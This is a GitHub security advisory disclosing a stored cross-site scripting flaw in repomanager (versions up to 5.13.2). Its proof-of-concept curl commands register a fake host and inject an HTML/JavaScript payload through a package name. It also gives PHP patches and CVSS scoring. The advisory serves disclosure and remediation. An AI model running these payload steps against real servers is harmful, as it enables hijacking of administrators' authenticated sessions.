Skip to content

Stored XSS via host-reported package metadata

Critical
lbr38 published GHSA-4766-qc2v-p59h Jul 29, 2026

Package

lbr38/repomanager

Affected versions

<= 5.13.2

Patched versions

5.13.3

Description

Summary

An authenticated host (or any principal holding a host/API credential) can store arbitrary HTML/JavaScript in a host's package inventory via the agent API. The package name, version, and repository (repository only exists on the available update path) fields are neither validated on input nor HTML-escaped on output. When an administrator later opens that host's page in the web UI, the stored payload executes in the admin's browser.

Steps

  1. Log in to any user account, and generate a new personal API key
  2. Register as a host to a server. Paste in this curl command
curl -s -X POST http://localhost:8888/api/v2/host/registering \
  -H "Authorization: Bearer <INSERT API KEY>" \
  -H "Content-Type: application/json" \
  -d '{"ip":"10.0.0.66","hostname":"evil-host"}'
  1. Copy token and Id from previous results command
  2. Push a malicious "installed package" using the returned host credential: Paste in this curl command:
curl -s -X PUT http://localhost:8888/api/v2/host/packages/installed \
  -H "Authorization: Host id_<Insert ID>:<Insert Token>" \
  -H "Content-Type: application/json" \
  -d '{"installed_packages":[{"name":"<img src=x onerror=\"alert(`This is a Stored XSS attack on Repomanager!`)\">","version":"6.6.6"}]}'
  1. Navigate back to Repomanager, as an administrator, open HOSTS → evil-host. The payload executes in the
    admin's browser. A real attacker would replace alert() with a script that forges admin actions using the admin's authenticated session.

PoC

First Curl Request
image3

Second Curl Request
image2

Results:
image4
image5

Additionally, for example we can see in line 286 of Package.php, input is not sanitized. (This comes after json_decode() is ran)
image

Recommendations/Remediation

Affected Files:

  • controllers/Host/Package/Package.php Line 286 & 322

Ideally, we want protection on the input side of our code. This means changing the controller. We can use the Validate string function to help clear out XSS attacks or the htmlspecialchars. For this vulnerability, sanitizing on input is sufficient because these values are only rendered in an HTML context. Output escaping in the two view files below is still recommended as defense-in-depth, which is the more general protection against XSS: views/includes/tables/host/available-packages.inc.php and views/includes/containers/host/packages.inc.php

setPackagesInventory() (line 286)
Before:

        foreach ($packages as $package) {
            // If the package does not exist in database, add it
            if (!$this->exists($package['name'])) {

After:

        foreach ($packages as $package) {
            // Sanitize host-supplied values before using them
            $package['name']    = Validate::string($package['name']);
            $package['version'] = Validate::string($package['version']);

            // If the package does not exist in database, add it
            if (!$this->exists($package['name'])) {

setPackagesAvailable() (line 322)
Before:

        foreach ($packages as $package) {
            // If name is empty, we skip this package
            if (empty($package['name'])) {
                continue;
            }

After:

        foreach ($packages as $package) {
            // Sanitize host-supplied values before using them
            $package['name']       = Validate::string($package['name']);
            $package['version']    = Validate::string($package['version']);
            $package['repository'] = Validate::string($package['repository'] ?? '');

            // If name is empty, we skip this package
            if (empty($package['name'])) {
                continue;
            }

Impact

Stored XSS executing in the administrator's authenticated session. An attacker who controls a registered host (or holds any host/API credential) can:

  • Read any data visible to the admin (repositories, hosts, users, settings);
  • Forge any admin action (there is no CSRF token on the AJAX/API layer);
  • Escalate toward full server compromise by driving admin-only functionality.

The attacker is a low-privileged principal; the victim is the administrator, so the impact crosses a privilege boundary.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Credits